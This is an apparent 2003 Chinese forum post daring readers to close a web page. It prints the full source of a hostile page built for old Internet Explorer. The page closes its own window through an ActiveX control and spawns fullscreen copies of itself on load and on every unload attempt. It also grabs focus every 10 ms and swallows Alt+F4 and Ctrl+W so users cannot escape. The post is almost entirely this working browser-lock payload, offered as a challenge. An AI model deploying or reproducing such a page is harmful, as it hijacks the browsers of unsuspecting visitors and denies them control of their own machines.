挑战天下英雄:谁能关闭这个页面谁是老大!!
sor 2003-04-04 04:53:41 http://211.99.207.199/community/NoClose.htm
源代码如下:
<OBJECT id=hh classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>
<script language=javascript>
if(!window.opener)
{
s1=window.open("about:blank",'','fullscreen=yes');
s1.document.writeln(document.body.outerHTML);
s2=window.open("about:blank",'','fullscreen=yes');
s2.document.writeln(document.body.outerHTML);
hh.Click();
}
window.setInterval("window.focus()",10);
function s()
{
d1=window.open("about:blank",'','fullscreen=yes');
d1.document.writeln(document.body.outerHTML);
d2=window.open("about:blank",'','fullscreen=yes');
d2.document.writeln(document.body.outerHTML);
}
window.onbeforeunload=s;
function document.onkeydown()
{
if ((window.event.altKey)&&(window.event.keyCode==115)){
window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px;dialogleft:10000px;");
return false;}
if((window.event.ctrlKey)&&(window.event.keyCode==87)){
a=window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px;dialogleft:10000px;");
a.document.writeln("<script>");
a.document.writeln("window.close()");
a.document.writeln("<\/script>");
return false;}
}
</script>
<br><br><br><br><br><br>
<center>谁能关闭这个窗口谁是老大</center>